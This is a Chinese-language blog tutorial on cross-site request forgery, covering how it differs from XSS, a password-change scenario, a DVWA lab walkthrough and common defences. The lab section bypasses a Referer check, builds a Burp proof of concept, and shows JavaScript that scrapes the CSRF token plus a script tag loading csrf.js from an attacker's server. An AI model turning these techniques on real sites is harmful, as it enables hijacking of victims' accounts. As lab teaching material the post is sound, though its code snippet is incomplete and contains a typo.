CSRF 攻击原理与防御

发布时间 2023-10-10 15:20:59作者: bey0nd

定义

跨站请求伪造,攻击者利用服务器对用户信任,从而欺骗受害者点击vps上的恶意请求链接。

与xss的区别

xss是利用用户对服务端的信任;csrf利用服务端对用户的信任

xss攻击是让脚本在用户浏览器上执行,服务端只是恶意脚本的载体;

csrf攻击 不需要知道用户cookie,让受害者点击我们准备好的vps上的恶意代码链接,让受害者在不知情的情况下执行恶意代码。

攻击要点&SRC挖掘

1、服务器没有对操作来源进行判断如 ip、referer等

2、受害者处于登录状态,但攻击者无法拿到cookie

3、攻击者需要找到一条可以修改或敏感信息的请求

场景

受害者a 登录 购物网站  ,修改个人资料中的密码为123,提交
url  
http:www.A.com/edit.php?name=aaa&pass=123&submit=submit

攻击者b 要通过 csrf 漏洞 修改 受害者a的密码

    条件:1、a用户处于登录状态,a用户浏览器未关闭

         2、攻击者b制作修改密码的请求放到vps,并引诱受害者a点击

用burp制作钓鱼网站

1、以dvwa为例,设置为low,进去csrf,抓取修改密码的数据包,鼠标右键选择 制作CSRF POC,会生成html代码

2、将html代码复制到攻击服务器下,访问http://(攻击者vps)/csrf.html

DVWA 中等难度 - referer验证

检测机制:在修改密码等敏感操作时,会检测referer 请求来源地址,里面是否存在主机ip或域名。

我们可以构造一个有效的Referer,可以在攻击服务器上创建一个新的html页面,命名时 要含有 csrf网站主机ip地址

DVWA High高难度 - Token

1、基于Token机制绕过high

2、使用javascript原生代码发送Ajax请求

防御机制

访问页面时,会在页面源代码中生成Token

再次发送请求,生成的Token值会发生变化,每次生成的值都不一样

绕过思路

1、JS构建ajax发送请求给csrf页面,然后从相应中取得Token(正则表达式提取)

2、将取得的Token和新密码一起发送给服务器

构造Ajax请求的代码:

var tokenUrl='http://(受害服务器ip)'/dvwa/csrf/;
var count =0;
实例化XMLHttpRequest,用于发送Ajax请求
xmlhttp = new XMLHttpRequest();
当请求的状态发生变化时,触发代码
xmlhttp.onreadystatechange = function()
{
   if(xmlhttp.readState == 4 && xmlhttp.status == 200)
   {
     var text = xmlhttp.responseText;
     var regex = /user_token\'value\=\'(.*?)\'\/\>/;
     var match = text.match(regex);
     var token = match[1];
     //发送修改密码的语法   
   }
}

将上述代码放置于攻击服务器上,如http://(攻击者vps)/csrf.js

想办法将js代码嵌入到被攻击者服务器上即可完成。(而在这一步,在high级别中无法实现)

<script src="http://攻击vps/csrf.js"></script>

为了先验证攻击的可行性,我们先把dvwa的难度调整到low,进行插入js代码。

防御思路

  1. 验证 http Referer 字段

同源检测,Referer 指的是页面请求来源。意思是,只接受本站的请求,服务器才做响应;如果不是,就拦截。Referer 的值是由浏览器提供的

  1. 在请求地址中添加 Token 并验证

在 HTTP 请求中以参数的形式加入一个随机产生的 token;如果请求中没有 token或者 token 内容不正确,则认为 CSRF 攻击而拒绝该请求

  1. 在 http 头中自定义属性并验证

token 安全等级更高。因为并不是任何服务器都可以取得 referer,如果从 HTTPS 跳到 HTTP,也不会发送 referer。并且 Referer的值是可以通过抓包修改的,但是 token 的话,能保证其足够随机且不可泄露。(不可预测性原则)一般防护 csrf 的办法最常见的就是增加原始密码验证,短信验证、验证码验证,这样基本就很难进行 scrf 攻击了。